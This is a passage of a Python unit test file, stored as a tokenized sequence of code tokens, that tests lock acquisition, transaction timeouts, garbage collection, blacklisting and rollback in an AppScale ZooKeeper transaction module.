"A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "confl", "ict", " ", "bet", "ween", " ", "thread", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "value", "A_", "=_", "tmp_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "increase", "B_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "b", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "start", " ", "increase", "B", " ", "%", "s", "\"_", "%_", "threading_", "._", "current", "Thread_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "=_", "self_", "._", "value", "B_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "confl", "ict", " ", "bet", "ween", " ", "thread", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "time", ".", "sleep", "(", "0.", "5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "value", "B_", "=_", "tmp_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "decrease", "A_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "a", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "start", " ", "decrease", "A", " ", "%", "s", "\"_", "%_", "threading_", "._", "current", "Thread_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "=_", "self_", "._", "value", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "confl", "ict", " ", "bet", "ween", " ", "thread", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "value", "A_", "=_", "tmp_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "decrease", "B_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "b", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "start", " ", "decrease", "B", " ", "%", "s", "\"_", "%_", "threading_", "._", "current", "Thread_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "=_", "self_", "._", "value", "B_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "confl", "ict", " ", "bet", "ween", " ", "thread", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "time", ".", "sleep", "(", "0.", "5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "value", "B_", "=_", "tmp_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "lock", "only", "B_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "b", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "gc", "simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "timeo", "ut", " ", "very", " ", "fast_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "stop", "GC", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "TX", "\\u", "TIMEOUT_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "GC", "\\u", "INTERVAL_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "set", "Roll", "back", "Function", "(", "self", ".\\u", "\\u", "rollback", "Receive", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "restart", " ", "gc", " ", "thread_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "keyli", "st_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "._", "start", "GC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "gc", "test", "key", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wait", " ", "for", " ", "gc_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "zk_", "._", "is", "\\u", "blacklisted", "_", "(_", "app_", ",_", "txid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "EXPIRE", "D_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "EXPIRE", "D_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(", "txi", "d", ",", " ", "self", ".", "txi", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(", "key", ",", " ", "self", ".", "root", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "([", "],", " ", "self", ".", "keyli", "st", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "revert", " ", "settings_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "stop", "GC", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "TX", "\\u", "TIMEOUT_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "GC", "\\u", "INTERVAL_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "set", "Roll", "back", "Function", "(", "Non", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "zk_", "._", "start", "GC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "gc", "with", "keyli", "st_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "timeo", "ut", " ", "very", " ", "fast_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "stop", "GC", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "TX", "\\u", "TIMEOUT_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "GC", "\\u", "INTERVAL_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "set", "Roll", "back", "Function", "(", "self", ".\\u", "\\u", "rollback", "Receive", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "restart", " ", "gc", " ", "thread_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "keyli", "st_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "._", "start", "GC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "gc", "test", "key", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vid_", "=_", "100_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "._", "register", "\\u", "update", "d\\u", "key_", "(_", "app_", ",_", "txid_", ",_", "vid_", ",_", "key_", "+_", "\"/", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wait", " ", "for", " ", "gc_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "zk_", "._", "is", "\\u", "blacklisted", "_", "(_", "app_", ",_", "txid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "EXPIRE", "D_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "EXPIRE", "D_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(", "app", ",", " ", "self", ".", "app", "\\u", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(", "txi", "d", ",", " ", "self", ".", "txi", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(", "key", ",", " ", "self", ".", "root", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Tru", "e", "(", "self", ".", "keyli", "st", ".", "index", "(\"", "a", "\")", " ", ">=", " ", "0", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Tru", "e", "(", "self", ".", "keyli", "st", ".", "index", "(\"", "b", "\")", " ", ">=", " ", "0", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "revert", " ", "settings_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "stop", "GC", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "TX", "\\u", "TIMEOUT_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "GC", "\\u", "INTERVAL_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "set", "Roll", "back", "Function", "(", "Non", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "zk_", "._", "start", "GC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "gc", "release", "lock_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "timeo", "ut", " ", "very", " ", "fast_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "stop", "GC", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "TX", "\\u", "TIMEOUT_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "GC", "\\u", "INTERVAL_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "set", "Roll", "back", "Function", "(", "self", ".\\u", "\\u", "rollback", "Receive", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "restart", " ", "gc", " ", "thread_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "keyli", "st_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zk_", "._", "start", "GC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "value", "B_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tlo", "ck_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "lock", "only", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlo", "ck_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "1.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "will", " ", "be", " ", "executed", " ", "after", " ", "gc_", "\\u\\u\\uNL\\u\\u\\u_", "tin", "crea", "se_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "increase", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tin", "crea", "se_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tlo", "ck_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tin", "crea", "se_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "self_", "._", "value", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "revert", " ", "settings_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "stop", "GC", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "TX", "\\u", "TIMEOUT_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "GC", "\\u", "INTERVAL_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "zk", ".", "set", "Roll", "back", "Function", "(", "Non", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "zk_", "._", "start", "GC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "rollback", "Receiver_", "(_", "self_", ",_", "app", "\\u", "id_", ",_", "txid_", ",_", "root", "key_", ",_", "keyli", "st_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "rollback", " ", "call", "ed", ".", " ", "app", "=", "%", "s", ",", " ", "txi", "d", "=", "%", "s", ",", " ", "root", "key", "=", "%", "s", ",", " ", "keyli", "st", "=", "%", "s", "\"_", "%_", "(_", "app", "\\u", "id_", ",_", "txid_", ",_", "root", "key_", ",_", "keyli", "st_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "app", "\\u", "id_", "=_", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "txid_", "=_", "txid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "root", "key_", "=_", "root", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "keyli", "st_", "=_", "keyli", "st_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "rollback_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "notif", "y", "\\u", "fail", "ed", "\\u", "transaction_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "zk_", "._", "is", "\\u", "blacklisted", "_", "(_", "app_", ",_", "txid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", 